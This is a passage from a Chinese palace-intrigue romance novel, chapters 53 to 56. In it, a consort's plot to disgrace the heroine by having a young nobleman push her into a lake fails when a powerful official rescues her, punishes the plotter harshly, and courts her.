夏贤妃只觉浑身的力气骤然被抽空,瘫软了下来,跌坐在塌上, “为什么……” “为什么?!” 那是历朝皇后的寝宫! 虽然也有几朝住过贵妃和皇贵妃,但都是没有正宫皇后之时!也就是说,凤仪宫,从来住的都是后宫最尊贵的人,后宫之主! 凭什么,一个十几岁的黄毛丫头,一入宫就受这般抬举?! 夏贤妃冷笑一声,那她消磨在后宫半辈子的年华精力,是个笑话么?! 不行! 她绝不会将自己苦心经营的半壁江山拱手让人! 第53章 时值六月,云销雨霁,又是一个大晴天。 毓秀宫偏殿,丁香帮纪云瑟寻了几件衣裳出来,道: “姑娘,今日是贤妃娘娘的寿辰,您看,您要穿哪件?” 纪云瑟随手指了一件浅绿素缎的,神情恹恹道: “就那件吧!” 夏贤妃今年三十六,原本不是整寿,不必大张旗鼓地庆祝,但赵沐昭这些时日功课好了许多,永安帝听了夫子们的奏报一时高兴要奖励她,这位公主便请旨,说要给母妃好好过个生辰,永安帝念她一片孝心,也念及夏贤妃十多年打理后宫的辛苦,遂允准了。 除了皇室宗亲,还邀了一些重臣家眷入宫热闹热闹。 纪云瑟与夏贤妃是心照不宣的死对头,这种日子,她哪敢出什么风头?恨不得躲在角落里没人瞧见她才好。 况且,她心里还一直记挂着出宫之事,自行绾了发髻随意簪了两朵珠花后,她还是有些不甘心,悄声问丁香道: “勤政殿那边,依旧没有要册封雪沅的消息?” 如今,她最好的出路就是等永安帝册封了妃嫔后,她理所当然地向太后自请出宫,而不是贸然提起,沾个藐视君威的罪名。 丁香摇了摇头: “勤政殿的口风素来最紧,奴婢也不敢随意打听。” 纪云瑟想了想,道: “要册封妃嫔,后宫总是要准备些什么吧?一点都问不到么?” 丁香十分为难,道: “若是册封,必是司礼监操办,各宫局准备衣裳、册印,但有资格经手这些的,都是总管公公们和高阶女官们。” “陛下有意不声张,消息就不会放出来。奴婢又人微言轻,根本就不识得那些人。” 纪云瑟叹了口气,论理说,沈绎的消息不会有假啊!她不知永安帝和孙雪沅之间到底发生了什么,纵然是每日在重华殿能见着雪沅,也不能直接开口问她。 这些时日,她也细细观察了雪沅每日的言行举止,不知是否她下意识的错觉,总觉得雪沅有些郁郁寡欢,不太愿意与她说话,夫子授课时,也不似从前般认真,似心不在焉,散学后就立刻收拾东西急匆匆回宫。 这副模样,总不会是永安帝和雪沅,闹了什么别扭吧?连雪沅那样的温顺性子都能惹恼皇帝,果真是伴君如伴虎呢! 纪云瑟默默感叹了一番,换好衣裳出门,依礼去给夏贤妃请安拜寿。 想着今日若是碰见雪沅,她还是得想办法旁敲侧击地问一问。 夏贤妃日常给人的印象基本上是淡雅如菊,十分符合她这个出身书香门第太师嫡女的身份,长春宫向来也是布置得精致内敛而不奢华,今日倒难得添了些贵气的摆设。 赵沐昭早早地过来帮着夏贤妃待客,她身着红色淡花水雾长裙,明艳端庄,一副高贵不失典雅,懂事乖巧的模样,引得一众来贺寿的命妇们不住的夸赞: “曦和公主不仅有天家风范,还有夏太师的文骨遗风,不愧是娘娘生养出来的!” “也不知谁家有那样的福气,能得公主青眼呢!” 夏贤妃拉着赵沐昭的手,笑道: “你们别打趣她了,她还小呢!” “陛下说不急,要再留她两年。” 命妇们又羡慕道: “那是陛下心疼喜欢,舍不得公主呢!” “可不是?谁都知道,陛下最看重蔚王殿下和曦和公主了。” 夏贤妃倒是颇有自知之明: “诶,莫要说这个。都是陛下的孩子,哪个皇子公主陛下不喜欢?手心手背都是肉呐!” 又有人道: “臣妇瞧着,今日就有许多适龄的哥儿入宫,娘娘该好好挑一挑,早些为公主掌掌眼呢!” 请了安后,立在靠门边上的纪云瑟听见这话,倒突然明白了几分,原来,今日这样大操大办,还遍邀了各家未婚的公子哥儿入宫,是有这个意思呢! 不过,她也听说,这些时日,赵沐昭似对那位成安侯世子厉书佑颇有兴趣,一直穷追不舍,而之前的那个裕王表弟,早被公主抛到九霄云外去了。 但这些都与她无关,公主忙碌顾不上理她才是好事,如今,她只想快些出宫。 纪云瑟正要跟着几个一同行礼的家眷身后离开,却听见夏贤妃唤她的声音: “云瑟,你过来…” 纪云瑟一惊,但面上还是不动声色,平静恭顺地行至夏贤妃面前,却见这位寿星似十分熟稔地拉着她的手,拍了拍手背,道: “你和昭儿交好,也算是本宫这半个长春宫的人,待会儿,帮着昭儿一同招呼客人,可好?” 赵沐昭也过来顺势亲昵地挽着她的胳膊,温婉笑道: “对啊,云瑟,我一个人忙不过来,辛苦你了!” 纪云瑟自是十分诧异,这些事为何要堂堂公主亲历亲为? 更想不明白,夏贤妃在自己的生辰宴上突然假装如此熟络地使唤她,又是什么意思,但面上,她也只能表现得端庄识礼,恭敬道: “臣女遵命!” 众命妇大多都没见过纪云瑟,诧异道: “这位是……” 夏贤妃没松开纪云瑟的手,笑着介绍道: “这是章齐侯家的长女,本宫看着喜欢,要了她给昭儿做了伴读,你们看看这模样性情,可好不好?” 命妇们皆赞道: “娘娘看中的,自然是好的!” 毕竟这姑娘的容貌是有目共睹的绝色,但再多的,有曦和公主在,她们也不好多夸。 除了宫里的嫔妃们知晓纪云瑟入宫的目的,或跟相熟的人讨论两句,大部分的官眷们都未听说。 这些女眷们说话,特别是面对夏贤妃这种高位皇室,都是话不能说满,需留三分,谁知道这位后宫位份最高的嫔妃突然拉出一个出身一般,空有美貌的小姑娘出来夸赞一通,有几个意思呢? 万一后面还有什么转折,前头嘴说得太快,那话圆不回来,就是搬起石头砸自己的脚了。 纪云瑟更是摸不着头脑,为何让她在众人面前这样露脸,看着命妇们心思各异的目光,顿时如芒刺在背。 幸好,夏贤妃似乎也不想继续在纪云瑟身上浪费时间,只拉了她一会儿,笑了笑道: “本宫也觉得,这姑娘甚好!” 便拍了拍纪云瑟的手背放开了她,温声道: “跟着昭儿,忙去吧!” 纪云瑟屈膝应了一声,赵沐昭上前拉着她,煞有介事地一面往宫外走,一面伸手指向外道: “待会,你负责把赴宴的客人们引到他们的席位上,喏,千秋亭那边的水榭是男宾席…” ~ 晏时锦入宫先去看望太后,陪她用膳,又闲话了一回,方去往长春宫,正好在宫门口遇见厉书佑,便吩咐紫电将晏国公府的贺礼送进去。 厉书佑道: “你不进去行礼?” 晏时锦道: “不必。” 他最不喜那殿内乌泱泱一屋子的妇人叽叽喳喳,大家都知道他的性子,皆不以为意。 厉书佑想了想,叫住了紫电,让他把贺礼一同带了去。 晏时锦倒是有些诧异地看向他,毕竟,这好像不是这位素来行事稳重识礼数的侯府世子的作风。 厉书佑无奈笑了笑: “令表妹最近每日都来朝集院,我还是躲着点吧!” 他自知尚公主并不是什么好事,更何况曦和公主声名在外,那样的行事性情,他高攀不起。 二人说着话,径直向布置好了席位的汀兰榭那边走去,有内监见客人过来,上前斟茶上茶点。 晏时锦选了一个靠湖边的槛窗下的长条案桌,二人坐下。 厉书佑因说起回京后的各种应酬,抱怨道: “还是北疆自由些,用不着每日走门串户的。” 晏时锦饮了一口茶,道: “你不想去,不去便是。” 厉书佑知晓其性子,无奈道: “我哪能跟你比?说不去就不去。” “这其中还有不少是我爹的嘱咐,根本推脱不了。” 晏时锦亲自为他斟了茶,问道: “裕王和蔚王,找过你么?” 厉书佑看了看四周,小声道: “裕王殿下找过我两次,但我听你的,寻了个理由推了。” “赴京之前,我爹也让我瞧一瞧目前两位皇子的形势,但我瞧不出来。” “你怎么看?” 晏时锦淡然道: “瞧不出来才是好事,你这般回复你爹就是。” 厉书佑知他素来有谋算,不思其他,点了点头。 湖面微风拂过,带来阵阵荷香,也传来了隔壁几个男子的说笑声。 “听说,今日贤妃娘娘生辰宴,也有为曦和公主选驸马的意思。” “怎么,你瞧上公主了?” “做皇家女婿限制颇多,就连纳个妾都不容易,我才不愿呢!” “除非,公主生得跟天仙一般美!” 一人忙道: “公主倒是罢了,今日她身边那姑娘,倒是个绝色美人,你可知是哪家的?” “可是穿绿裙子的那个?贤妃娘娘不是说了么?那是章齐侯府纪家的大小姐,如今是公主伴读。” “章齐侯?唉,没落是没落了些……不过……” “不过什么?” “你说呢?哈哈哈……” 厉书佑见晏时锦说着话突然沉下了脸,诧异道: “子睿,怎么了?” 候在一旁的紫电敏感地察觉到了什么,立马抱拳道: “世子,属下去瞧一瞧。” 说罢,他迅速离开,不多时,岸边传来一阵喧哗,紧接着,就是一道鸣镝声。 这是京卫司特有的传递讯号的声音,晏时锦一听便知晓,是紫电发出的,信号的意思是求救,他不及思索,在厉书佑怔然的目光中疾步向声音传来的方向跑去。 第54章 纪云瑟按照赵沐昭的吩咐,引着几位给夏贤妃行过礼的公子哥儿前往汀兰榭。 相比刚才那几个斯文不说话的,这几人明显放肆一些,不时看她一眼窃窃私语就罢了,其中有个着花青色长衫,手持着湘妃竹骨扇的男子,一直明目张胆地上下打量她。 纪云瑟心下一沉,莫非又是夏贤妃的什么诡计?端阳那日她虽做得算周全,但夏贤妃不是省油的灯,不可能没发现一点蛛丝马迹,结合刚才在长春宫的异样,事出反常必有妖,定是找她算账来了。 否则,平白无故的,为何偏让她引着男宾去席位上? 但是这里大庭广众之下,能对她 做什么? 刚行至岸边的卵石径上,纪云瑟看了一眼不远处的汀兰榭,抬手指过去,客气道: “几位公子,从这儿一直沿着□□走,过桥就到了,我还需回去寻公主,就不送了。” 其他几人向她微微颔首后便自去了,只有那执扇男子向前走了两步,突然停住轻呼一声,道: “欸,我的玉佩怎的不见了?” “姑娘可曾瞧见?” 纪云瑟摇了摇头,道: “不曾,或许是掉路上了?” 那人道: “可是刚才我还握在手里呢!应该就落在这附近。” “姑娘能帮着我找一找么?此物乃家中祖传,丢不得。” 纪云瑟不知他葫芦里卖的什么药,客气道: “公子自己找吧,我也不知你的是什么样的玉佩。” 她转身要走,又被男子挡在前,深深做了个揖,道: “在下初次入宫,不熟悉路,还请姑娘帮忙,杨某感激不尽!” 纪云瑟听他如此说,又见他的神色似确实有些着急,想着这里许多人看着,她只是帮他寻个物件,应该不至于发生什么事,无奈只能四下里帮他找起来。 突然,她看见岸边的两块太湖石缝隙中有道光亮,仔细一看,果然是一块玉佩,便指向那儿,道: “你看,是不是那个?” 那男子凑过来看了看,诧异道: “在哪儿?” 纪云瑟走近了一步,又指了指,道: “那里。” 男子似依旧没瞧见,前后左右地寻摸: “哪里?” 纪云瑟心道他这是什么眼神?她有些不耐烦,想着赶紧捡了给他,竟一时没有思索太多,便径直走上前,刚要俯身下去帮他拾起,却突感背后一个力道传来,她被毫无防备地推下了水! 男子环顾了一圈,见并未有什么人注意,突然似心急地高呼了一声: “纪姑娘小心!” “我来救你!” 随即也扔了折扇,跳入湖中,岸边的几人闻声转过头来,都发出了惊呼声,胆小的贵女们更是吓得尖叫连连。 紫电寻到纪云瑟时,看到的就是她和威远伯家的庶子,那位京中出了名的膏粱纨绔杨家三郎,先后落入湖中的场景。 他不及思索,吹响鸣镝后,纵身跃入湖中。 晏时锦冲出汀兰榭看向声音传来的方向,就见靠近对岸的水面上,有一道浅绿的衫裙漂浮着,伸出湖面的两只手一起缓缓下沉,他立刻跳入湖中游了过去。 紫电见自家主子及时赶到,便在水下拖住了欲靠近纪云瑟的杨三郎,直到他呛了好几口水,将将要窒息溺水时,方松开了他。 赵沐昭正好领着一帮贵女过来,飞快地出现在湖边等着看热闹,果然不多时,就见纪云瑟被人救了起来,但看那男子衣衫的颜色,和高硕的身材,怎的不像是早已交待好的杨家三郎? 待那人抱着纪云瑟上岸,赵沐昭定睛一看,见他素来峻肃的脸更加沉戾,倒让她目瞪口呆,竟然是……从不多管闲事的晏时锦? 随即另一边,如同一滩烂泥般的杨三郎也被紫电拖上了岸,扔在一旁,有长春宫的内监闻讯过来,紫电拂去身上的水草,丢下一句话离开: “这般水性,也敢下水救人?” 晏时锦无视一路惊诧的围观目光,将纪云瑟抱到最近的漱玉斋,寻了一间厢房把她放下,便吩咐跟过来的青霜: “去叫太医。” “把沈绎找来!” 纪云瑟自不会水性,被那人推入湖中后,只觉瞬间窒息感传来,呛了好些水。她拼命想往上钻出水面,不料却越挣扎越往下沉,直到失去知觉。 等她恢复些许神志时,只感觉有人不断按着她的胸口,有一阵一阵的疼痛和压迫感,随即,还一直向她口内吹气,但她意识模糊,昏昏沉沉,无力睁开眼。 见少女剧烈咳嗽了几下,恢复了呼吸,晏时锦终于松了一口气。门外传来一阵争执声: “我是太医,救治要紧,为何不让我进去?” 青霜道: “主子有令,任何人不得擅入!” 沈绎气急之下音量不自觉加大: “人命关天,你们怎能……” “让他进来!” 晏时锦蹙眉道,话刚出口,一个浅衫人影已经闪入,不及他说话,晏时锦侧身让开,声色不悦: “你会治病,我也会救人!” “去看看她。” 沈绎看见床榻上的小姑娘面色苍白没有一丝生气,根本无暇与他辩解什么,立刻上前拉住了她的手腕,切住脉后,方放下心来。 夏贤妃扶着宫女的手,和赵沐昭随即赶了过来,疑惑道: “究竟怎么回事?” “云瑟她,无碍吧?” 直到亲眼见晏时锦全身湿透地站在床榻一侧看向纪云瑟,夏贤妃方信了赵沐昭说的话,不禁皱紧了眉头。 她曾想过,就算不是杨家三郎救起纪云瑟,但今日宾客众多,毕竟没有哪个女子会水性的,那丫头要么直接淹死,否则定是由哪个男子把她捞起来。 哪怕是个侍卫,不管那人是否婚配,她都有法子一口咬定两人肌肤相亲,让那男子赖上求娶。无论成不成,都能污她一个身子不清白,断了她入后宫的路。 谁料到会是晏时锦?! 这位世子爷素来秉公无私欲,对女子更是八风不动的寡淡,更别说他身份尊贵,除了太后和陛下,根本不买任何人的账! 故而就算刚才她们一群人眼睁睁地瞧着晏时锦救下纪云瑟,一路抱过来,还与她孤男寡女共处一室许久,却没人敢置喙这位京卫司指挥使半句! 不过,夏贤妃也不可能助那丫头搭上这位国公世子,不是便宜了她么? 沈绎正在凝神为纪云瑟诊脉,门外还聚集着一些看热闹的命妇贵女,夏贤妃平静了思绪向晏时锦道: “子睿,辛苦你了。” 晏时锦目光扫过神色复杂的夏贤妃,淡然颔首: “娘娘客气了。” 他看了一眼跟过来的丁香,认出她是纪云瑟身边的宫女,遂吩咐道: “去给她寻一身干净的衣裳过来换了,以免着凉。” “是,大人。” 见她含着泪应声出门,晏时锦掠过夏贤妃和赵沐昭等人错愕的眼神,径直步出门外,旁若无人地高声吩咐青霜在此守着,直到纪云瑟醒来为止,若是有何异样,即刻来报。 夏贤妃拧紧眉心望着晏时锦离去的背影,攥紧的双拳片刻后松开,众目睽睽之下,她只能带着几分担忧地向沈绎问道: “云瑟她情况如何?” 沈绎敛去眸中的冷意,躬身回道: “禀娘娘,纪大小姐无碍,只是呛了水又兼受惊吓,故而昏迷。微臣给她熬一剂药汤,喝了就会醒。” 夏贤妃攥紧帕子捂着胸口大大地松了一口气,道: “那就好,幸好这孩子没事,否则,本宫如何向太后…和陛下交待?” 说完,便命人道: “太后娘娘身子不好,此事万不可传到寿康宫惹她老人家担心。” 她叮嘱了沈绎几句,又留下了两个长春宫的宫人服侍,便与赵沐昭回去继续午宴,但经过此事,席面上众人见夏贤妃兴致缺缺,也都不敢言语谈笑,连原本准备好的歌舞都被直接叫了停,草草用了些膳食就各自散去。 晏时锦回到京卫司衙门,沐浴换了衣裳,心不在焉地看了几封邸报,不多时,青霜回来禀报: “世子放心,纪姑娘服了药后已经醒来,回毓秀宫去了。” 晏时锦舒展了面容,沉思片刻,道: “明日你亲自去一趟,让通州的人加快进度办,先断他们几个耳目,再把牵扯到赵檐的那桩案子透露给裕王,不必等了。” 青霜顿了顿,试探着问道: “世子原本不是打算慢慢削减夏氏在通州的势力?” 晏时锦睨了他一眼,声色冷冽: “既然夏氏和蔚王如此清闲,此事 ,就不必再拖。” “此外,这段时日,让宫里的人盯紧夏氏。” 今日是夏氏寿辰,这种明显针对纪云瑟的龌龊事除了她还有谁敢做? 青霜应声离去。晏时锦算了算时辰,径直行至刑房,已有一人被麻袋罩住头,双手双脚被铁链锁住,绑在十字绞架上,全身都是鞭打的痕迹,垂头耷脑,是奄奄一息。 见他进来,紫电放下马鞭,抱拳道: “世子,属下都问清楚了。” “是夏贤妃与杨家三郎一早商议好,让他故意推纪姑娘下水后,由他救起,污了纪姑娘的清白再去求娶。” 紫电小心觑着自家大人冷戾的神色,说到最后,默默垂首放低了声量。 晏时锦并未言语,上前抚过杨三郎颈侧的血迹看了一眼,随即一脸嫌恶地擦在他早已破败褴褛,沾满尘土血污的锦衣上。 杨三郎感觉到了动静,倏然醒来,惊叫道: “别动我!” “你们到底是什么人?是官府?” “还是,强盗?…” 他的声音透着十足的恐惧,拼命晃动着双手双脚,却只是徒劳,根本动不了分毫,折腾了片刻,只得软了下来哀求道: “你们问的话我已经全部说了,求你们,放了我!” “你们到底还要做什么?我可以给你们钱,只要你们放了我,要多少钱,我都能给!” 见无人应声,他又气急败坏,把锁链挣得哐当作响: “我警告你们,我爹是威远伯,是陛下面前的红人!若是我有什么三长两短,我…我爹定不会放过你们!” 紫电跟着晏时锦步出刑房外,递上干净的绢帕,小声问道: “世子,此人,如何处理?” 晏时锦接过帕子擦着手指上的血迹,面上依旧是平静的神色: “杨家三郎今夜在赌坊外,不知何故与人大打出手,被人错手断了命根,还灌了哑药。” “幸被京卫司巡防的两名直卫及时发现,救下他性命。” “只可惜,伤人的凶手逃脱,不知所踪。” 第55章 漱玉斋,沈绎给纪云瑟熬好药喂下去后,她终于清醒了过来。 丁香早已给她打了热水擦洗,换了一身干净的衣裳,又帮她把头发绞干,碍于长春宫的两个宫人在此,不敢表现出过多的担忧,直到那两人回宫复命,方抽抽噎噎地哭了出来: “姑娘,吓死奴婢了!” 陌生的房间,身下是硬梆梆的床板,日光透过窗棂照进来,却驱散不了屋内的潮气。 纪云瑟抚着胀痛的额头,后知后觉这不是她的厢房。 沈绎给她喂药后一直守在旁,见她如此,抬手摸了摸她的额头,又给她把了脉,才放下心来,温声道: “没事了。你现在头疼,是因入了湿邪之气,再喝两日药就好。” 纪云瑟皱着眉头回想了片刻,方记起发生了什么事,只觉一阵后怕。 一定是夏贤妃幕后指使!竟然想置她于死地! 一动脑子想事,头疼得愈发厉害,纪云瑟不禁“嘶”了一声。 沈绎叹了口气,道: “如今你不宜思虑太多,好好养几日吧。” 今日之事,他很清楚谁是罪魁祸首,但他暂时动不了夏贤妃,不过也无需太久,只要他寻到关键证据,以夏贤妃当年的所作所为,一旦东窗事发,必是死路一条。 这些事他无法宣之于口,只叮嘱了纪云瑟几句,又吩咐丁香按时去太医署取药,便收拾了药箱离开。 纪云瑟回到毓秀宫,昏昏沉沉地睡到第二日日上三竿,才觉得好受了些,她起身如往常一般唤了一声丁香,却未见她的身影。 月牙桌上放着食盒,和温在滚水中的药碗,梳洗的物什亦准备妥当。 莫不是又被玉拂叫去做杂务了? 纪云瑟自行换好衣裳洗漱,用了早膳,却还不见丁香回来,正疑惑间,有人叩门,她正在梳妆台旁绾发,便道: “进来。” 是寿康宫的小内监,他站在门外躬身行了一个礼,道: “纪姑娘,周嬷嬷让您过去一趟。” 纪云瑟不疑其他,颔首道: “好,我马上就去。” 她喝完药便出了门,整个毓秀宫安静一片,估摸着赵沐昭又去了长春宫。 路过一处复廊时,她听见漏窗外有两个内监在说话,原本并不在意,直到发觉他们提及的是昨日推她落水的男子。 “还有一件奇事,昨日寿宴后,威远伯杨家的三郎,不知被谁打了一顿,人都废了!” “你说邪门不邪门?他在宫里为救纪大小姐落水,差点淹死,出宫后又碰见这种事!” “可不是?不知走的什么霉运,以后啊,就跟咱们一样了!” 纪云瑟已从丁香口中得知自己是被晏时锦从水里救起的,却没想到,原来,那个什么杨三郎也打算下水救她。 明明是那人故意推她入水,又假惺惺去救她,是何缘故? 她细思了片刻,便想明白了其中的关窍。明显,都是夏贤妃刻意安排,不过是想让杨三郎与她在大庭广众之下肌肤相亲,从而污她不洁。 幸好救她的是晏时锦,夏贤妃才不敢随意攀咬。 纪云瑟冷下眉眼,暗暗攥了攥拳。 她行至寿康宫,周氏正掀了帘子出来,看见她,上前将她迎了进正殿东侧外间,拉着她上下打量: “姑娘还好吧?” “我也是晨起才听沈太医说,姑娘昨儿个落水了,唬了我一跳。” 见她抚着胸口一脸关切担忧,纪云瑟淡笑一声: “我没事,让嬷嬷挂心了。” 周氏见她并无异样,放心地点了点头,纪云瑟看了一眼太后卧房的珠帘,问道: “娘娘还睡着么?今日身子怎么样?” 周氏道: “这些时日天气闷热,夜里不好睡,这会子沈太医刚给主子行了针,才睡着。” “姑娘您先坐一会儿。” 说着,她悄声进入内室,取了一个食盒出来放在纪云瑟身旁的方桌上,打开道: “这是世子爷今早送来的糕点,不知为何,今日送了许多,娘娘不敢多吃,说甜丝丝的,姑娘您必定喜欢,便给您留着。” 纪云瑟心下一暖: “娘娘总是记着我。” 她刚吃了药,嘴里发苦,正想吃些甜的,只见周氏给她端了几个碗碟出来,却是金乳酥、莲子凉糕、桂花酥酪,和一碗水晶皂儿。 都是她喜欢吃的。 不对,为何这样巧? 她突然想起,这几样东西,是当日她在晏时锦的书房里,为了试探他对自己的心意,随口提的…… 周氏见她神色怪异,诧异道: “姑娘怎么了?” “不喜欢吃么?” 纪云瑟回过神,忙道: “喜欢,看起来,就很…好吃…” 她木然地把糕点塞入口中,周氏见她每样都拿了一块,似真的爱吃,便笑道: “那就多吃些,娘娘年纪大,这些甜东西向来都是略沾一沾而已。” 纪云瑟讪讪笑了两声,周氏与她闲话了一会儿,就被一个内监叫了去商量事。 纪云瑟见太后依旧未醒,便自行掀了帘子往外走,她 看着这些糕点,莫名感觉到此地不宜久留。 谁知刚行至偏殿耳房处,就被一股力量拦腰抱了进去。 房门重新关紧,窗棂透进来的日光打在眼前男子俊朗的面部轮廓上,黑眸泛着幽亮: “你没事了吧?” 纪云瑟扫过他箍着自己后腰的手臂,扯着唇角道: “没事了。” 晏时锦松开了她,看到她手里尚捏着的大半块凉糕,问道: “好吃么?” 纪云瑟讪讪一笑: “好…吃…” 自从那日她骗他说要自己向太后言明二人之事后,她就不大敢见他,更何况,昨日他在大庭广众之下救下她,纪云瑟更加没有想好要如何面对这位被她“招惹成功”的世子爷。 屋内一片寂静,无人说话,晏时锦只是垂眸看着她,片刻后,道: “我家厨子的手艺如何?你可满意?” “……” 不知该如何回答的纪云瑟脑子一热,将手里剩下的凉糕递到他面前,道: “你没吃呀?” “你自己尝一尝不就知道了?” “哦,对了,你不喜吃甜的。” 太后天天念叨,纪云瑟自然知晓,她收回来自己咬了一口,垂眸不再看他。 “从前是不喜欢。” 晏时锦重新揽住她的腰向自己靠近了一些,另一只手挑起她的下巴,道: “但现下,突然想吃……” “嗯?…” 纪云瑟目露诧异还未做出反应,男子已经覆唇吻了下来,趁她张着嘴的工夫,灵巧的舌尖将她刚咬下的那口凉糕勾入了自己的嘴里,直接吞下。 “味道不错。” 他含着她的唇瓣并未松开,吐出几个字后,变本加厉地吻了过去。 这厮…… 纪云瑟在清醒的头脑下,才觉出男子的霸道蛮横。舌尖缠绕着她,犹如一只掌控一切的猫儿,将她这只好不容易逮住的小老鼠牢牢制住,嬉戏厮缠。 她心跳如鼓,脸颊温热,却无力挣脱,只能任由他在唇齿间攻城略地,直到她几乎喘不过气来,用手去推他。 晏时锦抓住她的手腕,给她留出一丝喘息的机会,又看了一眼她手里的凉糕,吮着她的下唇,道: “小心拿稳,别掉了。” 纪云瑟被他吻得头晕目眩,又听得他在间隙问道: “满不满意?” 她没明白他问的是什么,只是下意识地点头回应: “嗯。” 男子轻笑了一声,终于松开了她, “满意就好。” 纪云瑟恢复神智后,方想清楚他这是重复刚才的问话,对他家的厨子满不满意。 她神色赧然,默默将手里的凉糕塞入口中,但察觉到他发馋的眼神后,赶紧吞下,迅速转移这个危险的话题,道: “对了,昨日多谢你救了我。” 晏时锦随手替她擦去唇角残留的糕沫: “你我之间,何必言谢。” “……” 这个话题更加危险! 纪云瑟突然觉得,这厮从前那番冷漠疏离的模样挺好,而不是如今这般,随意将她拦下来亲吻,还说一些让人鸡皮疙瘩掉一地的话。 她很不适应这份突然的亲昵,又因她是始作俑者而不能指责他,只得又道: “其实,那个什么杨三郎,他是故意推我下水。” 晏时锦的目光中闪过一丝冷厉,但语气依旧平静,道: “我知道,他已经受惩罚了。” 纪云瑟抬眸看着他: “你怎么罚他的?” 晏时锦挑了挑眉,问道: “你想如何罚他?” 纪云瑟恨恨道: “自然是把他狠狠打一顿!打得他满地找牙!” 晏时锦颔首道: “与你料想的差不多,不过他的牙都还在。” “我只是额外要了他两样东西。” 纪云瑟颇有兴趣地问道: “什么东西?给我看看。” 晏时锦略思一瞬,神色复杂道: “恐不是很方便。” 纪云瑟想起那两个内监的话,方明白是何意,轻咳了两声,道: “那就算了。” 晏时锦见她狡黠的眸子动了动,直言道: “长春宫那边,也交给我。” “嗯?” 待看着他一脸了然的神情,纪云瑟也不好装傻,只得“哦”了一声。 吃人嘴软,拿人手短,她对自己在这位世子爷这儿又吃又拿的行为忽觉有些慌乱,面上挤着温婉的笑容,找了个借口赶紧脱身。 谁知回到毓秀宫,依旧不见丁香的身影,甚至,厢房内的摆设与她出门时无异,就是说,丁香一直都未回来。 正当她心中升起一阵无缘由的不安时,玉拂过来,微微颔首,道: “纪姑娘,贤妃娘娘请您去长春宫一趟。” 纪云瑟眼皮一跳,不动声色地问道: “娘娘找我何事?” 玉拂道: “姑娘去了就知晓了。” “请吧!” 第56章 夏日炎炎,长春宫内,错金博山炉青烟袅袅,冰盘内小山似的冰峰冒着丝丝凉意。 纪云瑟屈膝行礼了半日,才见侧卧美人榻上的夏贤妃悠悠睁开眼,看向她,目露一丝诧异: “呦,云瑟来了?” “快起来!” 她稍稍起身,嗔着一旁给她拿来凭几的鸣蝉道: “怎的不提醒我?” 纪云瑟直起已经酸麻的双膝,淡笑一声: “不知娘娘找臣女有何吩咐?” 夏贤妃关切道: “身子可好些了?无碍吧?” 纪云瑟面露感激道: “多谢娘娘关心,臣女已经没事了。” 夏贤妃松了一口气,道: “那就好。” “你不知道,本宫听说你落水,吓得跟什么似的,若是云瑟你有什么三长两短,本宫如何向太后…和陛下交待?” 纪云瑟听她这番言不由衷的话,特别是提到陛下时,隐隐透出来的咬牙切齿,心底冷笑一声,面上仍恭敬道: “让娘娘挂心,是臣女的不是。” “臣女日后定然更加小心谨慎些。” 夏贤妃道: “你素来是个妥当的孩子,本宫知道。” “定是身边服侍的人不当心,疏忽了。” 她的声音平静,但纪云瑟却听出了几分异样,正想着她此话有何深意时,只听她淡声吩咐: “来人,把她带进来!” 在纪云瑟惊诧的目光中,脸色苍白的丁香被两个内监搀入殿内,跪倒在她面前,伏地俯首道: “奴婢拜见娘娘。” 她声音沙哑无力,双手沾了血迹,袖口露出的皮肤隐约可见鲜红的伤痕。 纪云瑟一惊,但立刻放缓了神色,故作诧异看向夏贤妃道: “娘娘,不知丁香她这是……” 夏贤妃坐正了身子,端起一旁的青瓷盖碗,缓缓吹了吹茶沫子,慢悠悠地饮了一口,搁下茶碗,道: “主子出事,自然是奴才伺候不周。” “恐是本宫近来对他们太过宽厚了,才纵得他们如此大胆。丁香,你可知罪?” 她语气冷冽,不怒自威的寒意直逼得丁香全身轻颤不已。纪云瑟心中一紧,莫不是夏贤妃发现了丁香为她所用? 丁香忍住哭泣,颤声答道: “奴婢知罪,是奴婢伺候纪姑娘不周,求娘娘开恩,饶了奴婢。” 纪云瑟瞬间明白丁香此话的意思,是她在夏贤妃面前什么都没说。 夏贤妃看向纪云瑟,道: “云瑟,你说,该不该饶她?” 纪云瑟淡淡瞥了丁香一眼,平静道: “她是娘娘宫里的人,臣女不敢妄言。” 夏贤妃顺了顺衣袖,面上看不出什么神色,道: “如此说来,那就是这丫头平日里服侍主子不周了?” 纪云瑟故作毫不在意的模样,实话实说道: “其实,她服侍臣女也还算尽心,不过是平日忙碌了些,臣女经常找不着她。” 夏贤妃目露冷意,向丁香道: “本宫当初拨你去毓秀宫,可有说,要你一心一意地服侍纪姑娘?” 丁香伏地弱弱答道: “有,娘娘是吩咐了奴婢,可是……” “可是,玉拂姑姑说宫里杂事颇多,让奴婢闲暇时帮着做一些。” “请娘娘明察,奴婢只是利用空余做其他事,并未影响伺候纪姑娘。” 纪云瑟闻言轻哧一声,但向夏贤妃客气道: “她既是有缘故的,还请娘娘饶她这一回吧。” 夏贤妃探究的目光在她们二人身上来回看了看,道: “不行!” “若是饶了她这一回,日后宫人们都与她一般懒怠,寻各式理由不好好服侍主子,如何得了?” “来人!” 有内监手持刑杖走了进来躬身听命,夏贤妃顿了顿,看向纪云瑟,问道: “云瑟,你觉得该杖责多少?” 纪云瑟袖中的双拳隐隐攥紧,面上却仍旧平静,似有些不好意思,道: “她是娘娘宫里的人,自然是娘娘觉得该怎样罚,就怎样罚。” 丁香反应迅速,面向纪云瑟不住地磕头,道: “奴婢从前伺候姑娘不周,是奴婢的错,还望姑娘替奴婢美言几句,奴婢感激不尽!” 纪云瑟故意看着她扯唇冷笑一声,随即叹了口气,装作有些为难,勉强向夏贤妃道: “她既然知错了,还望娘娘宽宥了她吧!” 夏贤妃深深凝视了纪云瑟一眼,道: “若是今日饶了她,本宫如何立威?” 纪云瑟看了一眼伏地不起的丁香,又瞥了一眼内监手中拳头一般粗的刑杖,故意道: “既如此,请娘娘赏她十板子吧!” 她觑着夏贤妃的脸色,又道: “娘娘觉得不够?” “那就二十?或是…三十?” 她想了想,面露一丝笑意,道: “正好,太后娘娘说了好几次,要从寿康宫拨两个人给臣女,丁香既然不合娘娘您的意,就把她换了吧。” 夏贤妃重新斜倚在凭几上,闭了闭眼,道: “丁香服侍主子不力,拖下去,赏十大板,贬去浣衣局!” “至于云瑟那儿,鸣蝉,你叫两个得力老练些的人过去服侍,其他事一概不用管,只一心侍奉纪大姑娘,万不可懈怠了。这些小事,无需太后娘娘亲自操心,莫扰了她老人家养病。” 